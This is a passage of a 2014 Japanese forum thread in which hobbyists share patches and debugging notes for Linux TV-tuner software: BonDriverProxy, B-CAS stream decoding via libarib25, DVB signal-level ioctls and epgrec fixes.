2014/09/03(水) 10:43:10.73ID:vjzT1Nr4その人は日本人ではないし、バイナリの配布も日本のサーバーを使わないと思うのだが。
0612login:Penguin
2014/09/03(水) 16:03:26.39ID:Z1VCVlkc字幕パッチが取り込まれたり、ここにきてVLCのISDB対応が増えてるのはなんでだ?
SkyDriveに置いてあるOSX用独自ビルド、ここ半年のものでデュアルモノラルの分離が上手くいかない..
0613login:Penguin
2014/09/03(水) 17:11:31.39ID:qNJLyKdr南米やアフリカで、ISDB規格が奮闘してるからではないかと。
0614login:Penguin
2014/09/03(水) 20:20:08.29ID:ZY4L+Z2d個人的には録画あるいは視聴機能でやるのが一番シンプルで理に適ってるかな、とは思ってますが、
あえてサーバ側でやるなら、サーバ部分(BonDriverProxy)よりもドライバ部分(BonDriver_LinuxPT)に組み込む方が好みですね
ただ、正しく機能してる限りどこでやろうが結果は(そんなに)変わらないので、これはあくまでも当方の好みの問題です
実装は>>608に書いたサーバ部分でのモノとほぼ同様になると思いますが、b25をメンバじゃなくてグローバルで持てば
それで良さそうですね
>>611
そうなんですが、BLACKCASの様な実例もありますので…
配布にしても、公式サイトからはパッと見わからないだけで、実際は日本のミラー経由でダウンロードしてる事も
多いんじゃないでしょうか
0615login:Penguin
2014/09/03(水) 20:24:21.72ID:ZY4L+Z2d> チャンネル設定を[0始まりのBonDriverProxy用]と[実chと合わせたchinachu用]の2つを定義
これちょっと驚きましたヽ(;´ー`)ノ考えてみれば確かに可能…
ただ、やっぱりChinachu側で設定するのが本来の形かなとは思います
S側でチャンネル数が多くなるとカブッてくるとこもありそうですしね
Chinachuを使った事ないので実際に可能かどうか良く知らないのですが、ソースをちょっと眺めた感じでは、
config.jsonのchannelsのchannelをBonDriverとしてのチャンネル番号に編集すれば行けそうに思いました
0616login:Penguin
2014/09/03(水) 21:01:00.41ID:JJSBj14Dフランスはアフリカ方面の移民が多いからかもね
0617login:Penguin
2014/09/03(水) 21:01:32.76ID:JJSBj14DVLCってフランス製だっけ?
フランスはアフリカ方面の移民が多いからかもね
0618605
2014/09/03(水) 23:02:24.44ID:ZgkNyMVFアドバイスありがとうございます!
> 対応としては、チャンネル変更のタイミングでb25->reset()を呼べば良いと思います
実装してみたのですが、b25->put()でコケることがあります。
ioctl(fd, SET_CHANNEL)が反映されたストリームを保障できれば良さそうですがどうしたものか(;´∀`)
# b25->reset()のタイミングでPurgeTsStreamも試みたのですが、改善せず
BonDriver_LinuxPT.cppにもb25を組み中です
STOP_REC → 空read → SET_CHANNEL → b25->reset() → START_REC
とすることで上手く動いているようです。たまーにコケますが(;´∀`)
0619login:Penguin
2014/09/03(水) 23:16:47.79ID:ZgkNyMVF>>606からのパッチです。http://pastebin.com/FnhrSiJW
0620568
2014/09/04(木) 08:08:21.22ID:pIWfyEJi本来はそれがベストなんですが、
BonDriverProxy以外の混在利用を考慮してChinachu側の
channnels設定はそのままにしました
BonDriverProxy OnlyでしたらChinachu側弄ったほうが楽ですね
0621login:Penguin
2014/09/04(木) 13:28:01.85ID:/tUehKy7たまにはmplayerのことも思い出してあげて下さい ( >> 39 )
0622login:Penguin
2014/09/04(木) 17:15:39.11ID:D15wE/JR本家最新(16c770ecf355e0155f49eb5a52766d30e6afe7d1)からの差分です。
http://pastebin.com/bvz6A3By
環境変数 B25 を定義した状態でmakeするとデコーダあり版をビルドできます。
$ B25=1 make
ドライバ(BonDriver_LinuxPT)でデコーダ有効にするには、confに
#B25=1
を追記。(パッチ後のBonDriver_LinuxPT.confを参照)
BonDriverProxy, sampleは recpt1のb25関連オプションに準拠
usage: ./sample [--b25 [--round N] [--strip] [--EMM]] 〜略
usage: ./BonDriverProxy [--b25 [--round N] [--strip] [--EMM]] 〜略
0623login:Penguin
2014/09/04(木) 19:02:48.45ID:D15wE/JRhttp://pastebin.com/7LG7jE5G
0624login:Penguin
2014/09/04(木) 20:32:53.92ID:vbqHHR+qttps://gist.github.com/
使ってくれないかな?
patch自体をgitで管理できるし
リビジョン間のdiffも見れるし。
0625login:Penguin
2014/09/04(木) 21:10:43.19ID:D15wE/JRhttps://gist.github.com/anonymous/570aa60b21fc28295662
今後はここにpushすればいい?
垢作らないと更新できなさそうだけど(;´∀`)
0626login:Penguin
2014/09/04(木) 21:27:21.46ID:vbqHHR+q垢作らないとダメなのか。
それじゃ使えないな・・・すまん。
0627login:Penguin
2014/09/04(木) 22:32:47.53ID:kpxJ/orlGmailかなんかで捨てアド取って、ダミー垢つくれば?
0628login:Penguin
2014/09/04(木) 23:30:51.11ID:FSjilAqd録画ファイルを削除してもサムネイルファイルが削除されずに残ってしまう件、
cancelReservation.php 下の方で、
@unlink($path);
@unlink($path.".jpg");
という箇所を、
@unlink($path);
@unlink(INSTALL_PATH."/".$settings->thumbs."/".basename($path).".jpg");
に書き換えたらサムネイルもきちんと削除されるようになったので、
とても今さら感がありますが、ここに記しておきます。
0629625
2014/09/04(木) 23:48:06.17ID:D15wE/JRhttps://gist.github.com/deadbeef2/055dcfb4164ad81811e2
>>607
>細かい事言えばpIBon->CloseTuner()後でも、pIBon->GetTsStream()でdwRemain(アプリによる読み出し待ちバッファ数)が
>1以下である保証は無いです
>#元のsample.cppがdwRemainが0になるまでループさせてるのはそれが理由です
↑を対策したものに更新しました。
#間違ってコード削っちゃってました
0630login:Penguin
2014/09/05(金) 01:15:51.00ID:xh94W/Rpありがとう!
0631login:Penguin
2014/09/05(金) 06:38:37.05ID:YWm7Cq3Oタイミングを逃した感がありますが、以前のバージョンに付いてです(;´Д`)
SET_CHANNELだけではデバドラ内のバッファがクリアされないみたいですね
こうなってくるとサーバモジュールだけで何とかするのは無理で、ドライバモジュール側で対策する必要がある感じですね
PT3のデバドラでは気持ち対応しようとしてるみたいですが…
STOP_REC -> START_RECはPT3のデバドラでは有効そうですが、PT1/2のデバドラでは効果無さそうな?(自信なし)
PT3で(ですよね?)STOP_REC -> b25->reset() -> START_RECで基本うまく行ってるのに、
> たまーにコケますが(;´∀`)
となってしまうのは、多分cBonDriverLinuxPT::TsReader()及びcBonDriverLinuxPT::TsSplitterのposをゼロに戻してないからかなと
しかし、ナナメ読みから流し読みくらいにレベルを上げてlibarib25読んでみたら、ストリーム変更への自動追従の仕組みも
ちゃんと入ってるみたいなんですが、どこでコケてるんでしょうね
調べてみるのも面白いかもしれません
0632login:Penguin
2014/09/05(金) 06:47:41.88ID:YWm7Cq3O返って来なくなったらb25->reset()と言うのはシンプルで良いですねヽ(´ー`)ノ
真面目に完璧に対応しようとしたら、デバドラにパッチ当てるか、いったんデバイス閉じて開き直すとかの
微妙な形にするか、あるいはlibarib25のコケてる理由を特定して対応するか、みたいな感じになりそうなので、
この方法はかなりバランス良いナイスな実装だと思います
なお、>>629適用後のBonDriverProxy.cpp、448行辺りと498行辺りで、m_b25もコピーして下さいね
でないと、クライアント1接続 -> クライアント2が1とドライバ共有で接続 -> クライアント1切断 -> クライアント2切断
と言う流れでリークしちゃいます
気になったのはそれくらいでしょうか
confのパースも「=」が離れてても良くなってて素晴らしい…
#実は気になってたんですが、まあ良いかと放置してました(;´Д`)失礼しました
0633login:Penguin
2014/09/05(金) 19:00:47.72ID:AZWHso9+> なお、>>629適用後のBonDriverProxy.cpp、448行辺りと498行辺りで、m_b25もコピーして下さいね
> でないと、クライアント1接続 -> クライアント2が1とドライバ共有で接続 -> クライアント1切断 -> クライアント2切断
> と言う流れでリークしちゃいます
対処しました。
本家様のレビューがあると安心ですね(*´∀`)
0634login:Penguin
2014/09/06(土) 01:41:41.05ID:FexPwWIJ例えばこういう感じにconfで設定して(USESERVICEID=1)
BS日テレ 141 6 0 141
BS日テレ 2 6 0 141
sample -b (BonDriver) -s 0 -c 141 でも sample -b (BonDriver) -s 0 -c 2 でも取得出来るようにしたい
現状は後者のみ動いて前者は0バイトのファイルが作成される
0635login:Penguin
2014/09/06(土) 01:50:18.50ID:FexPwWIJBonDriver_LinuxPT.hのMAX_CHを適当に増やした所録画出来ました
0636login:Penguin
2014/09/06(土) 17:22:09.15ID:eO/pxnZ3sample実行するとPacket Queue OVERFLOW : size[0]
がでまくった上にプロセスが止まらないorz
0637login:Penguin
2014/09/06(土) 18:45:30.88ID:eO/pxnZ3BonDriverProxy自体のソースが更新されててパッチ
あたってなかっただけでしたorz
申し訳ない
0638login:Penguin
2014/09/06(土) 20:48:29.03ID:zseocNOz=は詰めて記述すれば済む話なので必要性は無いんですけど
本家でマージしていただければ幸いです。
0639629
2014/09/07(日) 06:18:05.44ID:ufRLo5FTB-CASカードが無い状態でストリームを流すとクラッシュするバグを修正しました。
デコード中のB-CASカード抜き差しに対応しました。
0640login:Penguin
2014/09/07(日) 06:33:59.10ID:9WNSn1qSGitHubの方には反映してなかったんですが、ローカルでは>>632書いてから同じ事をやってしまっております…
#個人的な好みで若干型や関数/変数名を変更してますが
せっかくパッチ書いていただいたのにスミマセン(;´Д`)
0641login:Penguin
2014/09/07(日) 06:36:21.79ID:9WNSn1qSget()結果のバッファサイズがゼロになる事もあるみたいですね
#厳密には、次のget()までにput()されたバッファの合計サイズに依存します
こう言う場合にreset()かけてしまうとドロップする事になるので、連続何回そうなったらreset()かける的な、
閾値みたいなのを設けた方が良いかなと思いました
上述の通り、put()するバッファサイズ依存なので、閾値はユーザが設定出来るようにしておくとかでしょうか…
0642login:Penguin
2014/09/07(日) 06:43:45.54ID:9WNSn1qSTVTest(と言うかBonTsEngine)では連続性指標のエラーになるので、1パケットドロップしてる様に表示されます
実際はデータが落ちてるわけではないので別に深刻な問題ではないのですが、個人的には気になるので対応してみました
当方と同じく気になる人は、
ttps://github.com/stz2012/libarib25/blob/master/src/arib_std_b25.c
で言うと、2054-2055行目のproc_pat()とgoto LASTの間に、
curr += unit;
を入れるとこの挙動はなくなります
ついでに言うと、2063行目も意味的にはsbuf.headじゃなくてsbuf.poolでしょうね
#こちらは最終的な出力結果に影響を与えるわけではなく、単にまるもさんの意図はこうだったんだろうな、と言う話です
0643login:Penguin
2014/09/07(日) 13:16:41.37ID:ufRLo5FTいえいえwありがとうございます!
b25 patch for BonDriverProxy_Linux rev.5
>>641
resetするまでのしきい値を設けました。(現状は3回まで許容)
オプションで変更できたほうが良いかなとも思ったのですが取り急ぎ
0644login:Penguin
2014/09/08(月) 07:30:13.76ID:9KuKI2Lg> オプションで変更できたほうが良いかなとも思ったのですが取り急ぎ
バッファサイズが小さな場合に大丈夫ならバッファサイズが大きな場合でも大丈夫なので、
小さめのバッファでビットレートの高いストリームやサービス数の多いストリームでも確実に大丈夫な回数を
指定しておけばそれで用は足りるかもしれませんね
回数を大きくしても、チャンネル変更時に>>605の問題↓
> 視聴中にチャンネル切換すると稀にストリームが滞る事があるようです。
> #b25->putがARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32Mを返してる。
が起こった場合にfail-safeが発動するまでの時間が延びる以外の問題は無いと思うので、多少大きめの値でも良いんじゃないかと
例えば、バッファのサイズをクライアントモジュールのデフォルト値である188*1024として、
問題が発生したストリームのビットレートを15Mbpsだとすると、仮に10回見送っても、
(188*1024*8*10)/(15*1024*1024)=約0.98で、オーバヘッドを考えても最長約1秒でreset()かかる計算です
#当然、ドライバモジュールの様にバッファの小さな(188*256)場合や、ストリームのビットレートが
#もっと高い場合にはもっと早めにreset()かかるでしょう
個人的にはこれくらいなら十分許容範囲かなと思います
#そもそも滅多に発生しない問題な気もしますし…
0645login:Penguin
2014/09/08(月) 07:42:44.54ID:9KuKI2Lg以下の様なパターンで発生しそうな気がします
---
チャンネル変更
↓
PAT更新検出
↓
次回以降のput()ではfind_pmt()でPMT探しを始める
↓
変更後のチャンネルで番組切り替わり、あるいは再度のチャンネル変更などでPAT再更新
↓
find_pmt()ではそれを検出しないので、もう流れて来ない旧PATで示されたPMTを探し続ける
↓
ARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32M
---
PAT/PMTの送出頻度は100msに1回以上と規定されているので、タイミングはシビアですが…
ただ、PMTが発見されても今度はfind_ecm()で同じ状態になるので、
こちらは結構有り得るんじゃないかなと思います
で、試しに上記の状況を再現するTSファイルを作成してb25に食わせたら、
やはりARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32Mで終了しました
対応としては、libarib25にパッチ当てる形になりますが、
ttp://pastebin.com/BpEyxAcF
な感じかなと思います
#>>642の件も含んでます
上述のTSファイルをこのパッチ当てたlibarib25を使用するb25に食わせると、
意図通りの出力が行われるのを確認しています
0646login:Penguin
2014/09/08(月) 21:13:39.99ID:HcnwnBd6ドライバのバッファサイズ(188*256)で現在観測中です。
>>645
ARIB_STD_B25_ERROR_NO_ECM_IN_HEAD_32MでコケてたTSも食わせてみましたが、
エラー無しです。ヽ(=´▽`=)ノ
0647login:Penguin
2014/09/09(火) 03:12:06.64ID:yZ6ry4LBデコード出来ない
0648login:Penguin
2014/09/09(火) 21:16:21.74ID:mah88T5Drecpt1とB25からならデコードできてるけど、そっちでもダメ?
自分はlibarib25のパッチと関係なく、sampleからはデコードできないorz
あとWindows側のProxyの方で使用するBonDriverは何使えばいいんだろ
とりあえずBonDriver_pipe指定しているけど初期化に失敗するって出る
0649login:Penguin
2014/09/10(水) 07:25:05.47ID:dfnWCajEttp://pastebin.com/xiZg4W9j
正常なデータに対する処理は、後述の箇所以外は前回のパッチと変わりません
#処理結果に影響しないビミョーな変更した部分はあります
##行末空白消したらdiffの出力がエラい事になってしまいました(;´Д`)
前回のパッチで、追加した部分でPAT更新を検知した場合、そのPAT自体は削除していたのですが、
よく考えたらこの場合は残した方が良いかと思ったので、残すようにしました
#削除しても、適切にTSを扱えるソフトならその次のPATを見つけるはずなので、
#どちらでも大して変わらないかもしれませんが…
>>647
どちらかと言うと、TSとしては一応正常だけど扱いがややこしいデータに対応する為のパッチで、
ごく普通の(変なタイミングでPATの更新が発生したりはしない)TSストリームの扱いに関しては
元のコードと(ほぼ)同じなので、このパッチでデコードできなくなるような理由は無いと思うんですが…
0650login:Penguin
2014/09/10(水) 07:38:25.75ID:dfnWCajE基本的には、win環境で使えるチューナ使用の為のBonDriverを想定してます
当方ptTimerを使用しているので、BonDriver_ptmr.dllを使う事が多いです
他には、BonDriver_PT.dllやBonDriver_PT3.dllで動作確認とれてます
BonDriver_Pipeに関しては、ファイル読み込み担当のTvtPlayと名前付きパイプで通信しようとするので、
dllのみリモートで読み込む形になるBonDriverProxyでは機能しないでしょうね
基本的にTVTest+TvtPlayからの直接ロードのみを想定したBonDriverなのだと思います
リモートのファイルをTvtPlayで扱いたいなら普通にファイル共有で扱えますしね
0651login:Penguin
2014/09/10(水) 12:16:01.87ID:h/4bPT67* resetするまでのしきい値を8へ増やしました。
* BonDriver_LinuxPT デコード処理をfifo排他ロックの外に移動しました。
libarib25パッチのおかげで、当方の付け焼刃的対策は不要となりました。(感謝!)
一応まだ残してありますが、気になる方は、decode.cppの12行、30行をコメントアウトしてください。
0652login:Penguin
2014/09/10(水) 12:25:53.26ID:h/4bPT67> 自分はlibarib25のパッチと関係なく、sampleからはデコードできないorz
ただ普通にmakeするとデコーダなし版となりますので、
$ make B25=1
としてみてください。
$ ldd sample
の結果に
libarib25.so.0 => /usr/local/lib/libarib25.so.0
が有ればデコーダあり版です。
--b25オプションもお忘れなく。
0653login:Penguin
2014/09/10(水) 22:01:53.65ID:HBWVCRFnありがとうございます。
その辺は以下のとおり抜かりはないのですが、Makefileを変更しています。
具体的には-fPICオプションを追加いています。
理由はCentOS7でビルドすると-fPICオプションを要求されるためです。
これが原因でしょうかね・・・やっぱり。
$ ldd /usr/local/bin/bdpl/sample
linux-vdso.so.1 => (0x00007fffa39fe000)
libdl.so.2 => /lib64/libdl.so.2 (0x00007fd9183b5000)
libarib25.so.0 => /usr/local/lib/libarib25.so.0 (0x00007fd9181a9000)
libstdc++.so.6 => /lib64/libstdc++.so.6 (0x00007fd917ea1000)
libm.so.6 => /lib64/libm.so.6 (0x00007fd917b9f000)
libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007fd917989000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00007fd91776c000)
libc.so.6 => /lib64/libc.so.6 (0x00007fd9173ab000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd9185c2000)
0654login:Penguin
2014/09/10(水) 23:44:33.56ID:5qzvJwkG0655login:Penguin
2014/09/11(木) 00:07:37.65ID:iOdF7k0i0656login:Penguin
2014/09/11(木) 02:31:27.63ID:NUNJGGEc↓
CreateBonDriver error: pIBon[(nil)] pIBon2[(nil)]
でハマったことがあったんだけど、
BonDriver_LinuxPT.so.conf が無かっただけというオチでした。
0657login:Penguin
2014/09/11(木) 14:56:21.94ID:1PhEHEVXstraceの結果を晒してみるとか。
>>654
柔糟
0658login:Penguin
2014/09/14(日) 02:59:48.87ID:K0oELrZzCentOS 6.5にてrecpt1を長年使っていますが、
最近、recpt1やその他のプロセスがsystimeを
100〜400%消費して、ほぼ固まってしまうようになりました。
1〜10時間に1回ほどおこります。
nfsやsambaでアクセスしたときによく起こる気がしますが、
必ず起きるわけではないので気のせいかもしれません。
pt1_drv・recpt1 は pt1-c8688d7d6382
ハードは、i7-3770KにPT2 を2枚使っています。
心当たりのある方、ご助言お願い致します。
0659login:Penguin
2014/09/14(日) 16:00:55.00ID:n4ioxrWTそれまで出ていた字幕が出てこなくなった
かと言ってepgrec unaは最新を使いたいし
解決方法はないものか
0660login:Penguin
2014/09/14(日) 16:04:48.84ID:TMCcFLS70661login:Penguin
2014/09/14(日) 17:15:09.94ID:9Azm8z+x>>438-439
0662login:Penguin
2014/09/14(日) 19:37:17.32ID:n4ioxrWTありがとう。ビンゴでした!
recpt1-http.diff のパッチを当てて
tssplitter-apnd.diff を当てなければ
問題なし。
0663629
2014/09/15(月) 07:40:19.48ID:fRq1FtDkb25->get()の空バッファ連続数を数えてb25->reset()する方法を廃止し、
チャンネル変更したら遅延リセットを仕掛ける方法に変更しました。
#閾値=8では足りないケースがありました。スミマセン…
0664login:Penguin
2014/09/15(月) 19:31:03.59ID:u6m1Lwhoログはこんな感じ
Sep 15 05:03:21 (サーバ名) kernel: BonDriverProxy[7667]: segfault at ffffffff00000008 ip 00007f9b16ee1f82 sp 00007f9b16c65bf0 error 4 in libc-2.12.so[7f9b16e6c000+18a000]
環境はCentOS 6.5でPX-W3PEで運用
0665login:Penguin
2014/09/15(月) 22:00:39.10ID:MUwzt1REおおう、SIGSEGV(;´Д`)
-gオプション付けてコンパイルしなおしてからcore残すようにして動かしてみて、
また発生したらgdbでバックトレースしてみてもらえますでしょうか…
0666login:Penguin
2014/09/15(月) 22:33:54.46ID:s0wJO8Cmhttp://airwhite.net/?p=786
もう一歩進めて、予約状況に合わせた終了・復帰をできるようにしたいです。
エンコードスクリプトの最後で
SQLでポスグレにアクセスして、次回録画開始時間を拾い、
それで再開時間を算出すればいいかなぁ
0667login:Penguin
2014/09/19(金) 20:42:59.53ID:vOYD3QP1もしかして、てのを修正しました
#でも、1サービス1チャンネルモードで使用している時にしか影響しない問題だったので、
#>>664さんがそのモードで使用していなかった場合は関係ない事になりますが
0668login:Penguin
2014/09/19(金) 20:46:54.21ID:vOYD3QP1GitHubのdevelopブランチの方にあげてるので暇な人は試してみていただければ…
#ただし動作確認はpt3_dvbでしかやっていません
0669login:Penguin
2014/09/20(土) 01:45:01.73ID:ZxbdrSSiBonDriver_DVB.cpp:601:17: error: ‘DTV_STREAM_ID’ was not declared in this scope
cat /etc/debian_version && uname -r
7.6
3.2.0-4-686-pae
0670login:Penguin
2014/09/20(土) 02:15:33.40ID:ZxbdrSSiBonDriver_DVBへの追加
#まだ当方でコンパイル通らない為、動作テストしてません(;´∀`)
0671login:Penguin
2014/09/20(土) 04:10:51.76ID:ZxbdrSSiBonDriver共有ツール総合
http://peace.2ch.net/test/read.cgi/avi/1366339738/508
#ifndef DTV_STREAM_ID
# if defined(DTV_ISDBS_TS_ID)
# define DTV_STREAM_ID DTV_ISDBS_TS_ID
# elif defined(DTV_ISDBS_TS_ID_LEGACY)
# define DTV_STREAM_ID DTV_ISDBS_TS_ID_LEGACY
# else
# error
# endif
#endif
0672login:Penguin
2014/09/20(土) 06:30:31.15ID:ZxbdrSSiutil/test.cpp
-#define FILE_OFFSET_BITS 64
+#define _FILE_OFFSET_BITS 64
0673login:Penguin
2014/09/20(土) 11:14:07.15ID:/wCqLEzE0674login:Penguin
2014/09/20(土) 15:50:47.55ID:FTFEBESzありがとうございます。症状はあの後は出ていませんが、1サービス1チャンネルモードで運用していたので多分それだと思います。
0675login:Penguin
2014/09/20(土) 19:24:43.81ID:oCHzE0lGおお、動作確認していただけましたか
ならその内にmasterの方にマージしますね
> 重箱の隅ですが(;´∀`)
失礼しました(;´Д`)sampleの時に気付いとけよって話ですね
0676login:Penguin
2014/09/20(土) 19:27:43.18ID:oCHzE0lG所詮やっつけアプリで、殆どsample2みたいな物ですから(;´Д`)
>>674
おお、それなら原因を排除できた可能性はありそうですね
発生確率はデバドラのつくりによって変わると思われる問題だったのですが、
PX-W3PEで運用と言う事なので、確度もそこそこ高そうです
0677login:Penguin
2014/09/20(土) 20:45:52.68ID:ZxbdrSSi視聴に問題がなかったのと、DVB初利用なのでそんなもんかと思ってたんですが
TsReader() ioctl(FE_READ_SIGNAL_STRENGTH) error: adapter0
でした。
0678login:Penguin
2014/09/20(土) 21:06:20.22ID:ZxbdrSSi僕がDVBを使うのが初めてで、という意味です。#言葉足らずでスミマセン
DVBってシグナルレベル取得APIが無いのかな?とw
0679login:Penguin
2014/09/20(土) 21:28:58.29ID:qMZ361UHいいですね。とりあえずPT3以外で動かして見たので報告です。
Ubuntu 14.04.1 LTS
3.13.0-35-generic
BonDriverProxy
BonDriver_DVB.so
TvTest 0.7.23
・Friio白 (ISDB_T)
SetChannel() ioctl(FE_SET_PROPERTY) error: adapter4
とエラーが出力されて表示されません。
FriioはDTV_STREAM_IDに0を指定するとエラーになった記憶があるので
ISDB_T(地上波)に対してDTV_STREAM_IDを指定しない様にすれば良いかと
思います。PTXの場合もこっちでOKだったはずです。
prop[0].cmd = DTV_FREQUENCY;
prop[0].u.data = f;
prop[1].cmd = DTV_TUNE;
props.props = prop;
props.num = 2;
0680login:Penguin
2014/09/20(土) 21:30:35.21ID:qMZ361UH続きです。
・PT2 DVB
個人的には映るのならシグナルレベルはどうでもよいと思っていますが。
TsReader() ioctl(FE_READ_SIGNAL_STRENGTH) error: adapter0
シグナルレベルが取れていない様です。自分の調べた所では、シグナル
レベルを取得する方法がドライバによってまちまちでした。
FE_READ_SIGNAL_STRENGTH (Friio白)
FE_READ_SNR (PT1,2,3)
DTV_STAT_CNR (PT3 DVB V5 以上)
おまけにどういう単位で返すかがドライバ依存なので、まともなシグナル
レベルを取得するためにはドライバ側を修正しないといけないという印象
でした。例えば、FE_READ_SNRで取得した場合、PT3はハードウェアから
得られた生値だと思いますが、PT2ではCNRを計算して返している様です。
ただ実際に出力させると何かよくわからない値なのですが…。
0681login:Penguin
2014/09/21(日) 02:02:07.75ID:8glTzj28> FriioはDTV_STREAM_IDに0を指定するとエラーになった記憶があるので
> ISDB_T(地上波)に対してDTV_STREAM_IDを指定しない様にすれば良いかと
> 思います。PTXの場合もこっちでOKだったはずです。
ありがとうございます
対応してみました
0682login:Penguin
2014/09/21(日) 02:04:10.07ID:8glTzj28> レベルを取得する方法がドライバによってまちまちでした。
〜〜〜
> おまけにどういう単位で返すかがドライバ依存なので、まともなシグナル
> レベルを取得するためにはドライバ側を修正しないといけないという印象
> でした
そうなんですよねー
当方が調べた結果もそんな感じでした
とりあえずFE_READ_SIGNAL_STRENGTH使ったのは、テストしたpt3_dvb(fd90fa5a16d07981b19d5e868ad9f463cee77989)の
内部実装が単にchardev版のラッパになってたので、生の値である事と、表示値の互換性が期待できるなと思ったからです
#↓このcastはちょっと無いなと思いましたが(;´Д`)
---
static int pt3_fe_s_read_signal_strength(struct dvb_frontend *fe, u16 *cn)
{
struct pt3_fe_s_state *state = fe->demodulator_priv;
return pt3_tc_read_cn_s(state->adap, NULL, (u32 *)cn);
}
---
0683login:Penguin
2014/09/21(日) 02:07:24.91ID:8glTzj28返すようになり、今のバージョンではFE_READ_SIGNAL_STRENGTHは削除されて、その処理はそのままFE_READ_SNRで
使用されるようになってますね…
意味的な正しさで言えば、シグナルレベルとして取得した生の値がどのような意味を持つかはHWによって異なる可能性も
ありそうですから、共通インタフェースでの実装としてはドライバ内でCNRを計算して返すのはもっともな姿勢かなとは思います
#そう言う意味では、現状のBonDriver_DVBの実装では仮にFE_READ_SIGNAL_STRENGTHでシグナルレベルが取得できても、
#意味のある値になるのはPT1/PT2/PT3だけかもしれませんね
しかし、v4lのAPIマニュアルからして、FE_READ_SNRで得られるdBの精度は書かれていませんし、FE_GET/SET_PROPERTYの方に
書かれてると思ったら、1/1000なのか1/10000なのかハッキリしません(;´Д`)
#1/10000の場合、int16_tでは3.27dB位までしか測れなくなるので、1/1000が正しいんじゃないかとは思いますが…
とりあえず1/1000が正しいと仮定して、FE_READ_SNRを使うモードを付けてみました
PT1/PT2を使ってる方や、pt3_dvbでも最近のを使ってる方は、BonDriver_DVB.cppのアタマの方の、
//#define USE_READ_SNR
のコメントを外してみると、何らかの値が得られるようになるかもしれません
0684login:Penguin
2014/09/21(日) 02:25:47.40ID:zlop0RNo0685login:Penguin
2014/09/21(日) 08:15:08.73ID:gZdOl1Wshttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L395
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L755
自分がなぜそうしたのか記憶が曖昧なのですが…。
dvr0デバイスをオープンする際にはO_NONBLOCK をくっつけてたと思います。
dvr0 からデータが来なかった場合、readがブロックするからだったような
記憶があるのですが、今見ると正常ならlen=0とかなさそうなので意味不明な
ことを言ってるのかもしれません。
手元にPX-S1UD、Friio黒、MonsterTV HD もあるので動作確認できたら良いな
と思ってるのですが、カーネルモジュールのビルドが難儀ですね。Friio黒、
MonsterTV HDは2senのソースが古いので自分には無理だとしか思えないです。
PX-S1UDはカーネル3.15からデフォルトで有効の様ですが、ubuntu14.01の
3.13では再ビルドが必要ですね。考え方が安易過ぎますが、以前、IDだけの
変更なんだしバイナリ直接いじって既存の使わないデバイスID置き換えたら
良いよねとか思ってやってみたらどダメだったのですよね。
http://cgi20.plala.or.jp/~sat/?x=entry:entry131128-172807
http://lxr.free-electrons.com/source/drivers/media/usb/siano/smsusb.c?v=3.15#L656
Ubuntu14.01でPX-S1UD使えてる人っています?
0686login:Penguin
2014/09/21(日) 09:45:10.55ID:8glTzj28たしかに使う立場を考えるとそっちの方が便利ですね
confの#USEREADSNRで変更できるようにしました
>>685
O_NONBLOCKを付けてないのは、つくり的にブロックされても構わないようにしているので意図してそうしています
標準でサポートされてない場合は、モノを持っててもそれを試す環境づくりが結構面倒ですよね…
0688login:Penguin
2014/09/21(日) 11:32:44.72ID:gZdOl1WsFriio白で表示されました。
シグナルレベルも以下からダウンロードしたWindowsのBonDriver3.1と
ほぼ同じ値です。
http://www.friio.com/download/
作業しながら思ったことをだらだらと書いておきます。
Friio白の場合、DVBのシグナルレベルはFE_READ_SIGNAL_STRENGTHでのみ
取得可能ですので#USEREADSNR=0でOKです。FriioDVBドライバのソース眺
めましたがFE_READ_SIGNAL_STRENGTHで返しているのはハードウェアの生値
の様ですしチップも東芝でPTXと同じなのでCNRの計算式も共通なのかなという
印象です。
後、Linuxは関係ありませんが、#USESERVICEID=0の場合、#ISDB_TのVHF帯等の
チャンネル1-C63を削除して13-62を0からリナンバリングしないとTVTestで
チャンネルスキャンに失敗するのですが自分の環境特有の話でしょうか?
待ち時間を最大の10秒とかにしてもです。
チャンネル1-C63を削除したくなければ、TVTestのチャンネルファイルの方を
手動で作成すれば良いので特に困ってはいないのですが。
0689login:Penguin
2014/09/21(日) 12:58:05.39ID:bwPJwNB2DVB API v5では DVT_STAT_SIGNAL_STRENGTH DTV_STAT_CNRなどの測定値には
単位をつけるようになってる。 一般的なのは0.001dB(m) (FE_SCALE_DECIBEL)
PT1やFriioのDVBドライバは新しいのに対応して改修されていないけど
今レビュー中のPT3は対応してるよ (RSSIとCNR)
あとFriiioはRSSIでCNRを返してるという間違いがそのままになってる
0690login:Penguin
2014/09/21(日) 14:37:32.75ID:8glTzj28もう一回ちゃんとソース確認してみると、FE_READ_SNRでシグナルレベルを返してきてました(;´Д`)
> …が、その後もうちょっと調べてみたらその次のバージョンではFE_READ_SIGNAL_STRENGTHに対してCNRを計算して
> 返すようになり
は、デバッグログの出力時にそれやってるのの見間違いだった様です
しかし、
> 今のバージョンではFE_READ_SIGNAL_STRENGTHは削除されて、その処理はそのままFE_READ_SNRで
> 使用されるようになってますね…
はその通りなので、結果的にFE_READ_SNRでシグナルレベルを返すと言う状態になってる様です
つまり、>>680さんの書かれてた事がやっぱり正解でした
こうなるとおかしいのは明らかにpt3_dvb側なので、とりあえず、
ttps://github.com/knight-rider/ptx/blob/master/pt3_dvb/drivers/media/dvb-frontends/tc90522.c
の400行目辺りと509行目辺りに、
---
.read_signal_strength = tc90522_read_snr,
---
を追加して、シグナルレベルを取得できるようにして使う感じでしょうか
#関数名はread_snrですが、シグナルレベル取得の関数です…
0691login:Penguin
2014/09/21(日) 14:40:10.31ID:8glTzj28影響するようで、例えばadapter0とadapter2を両方使ってる時にadapter0のdemux0をclose()すると
adapter2側でドロップが発生する様です
これらの状況を考えると、PT3を使うなら少なくとも現状ではchardev版の方が良さそうな気はしますね
0692login:Penguin
2014/09/21(日) 14:55:16.35ID:bwPJwNB2http://www.spinics.net/lists/linux-media/msg80603.html (のフォローアップ)
のことです
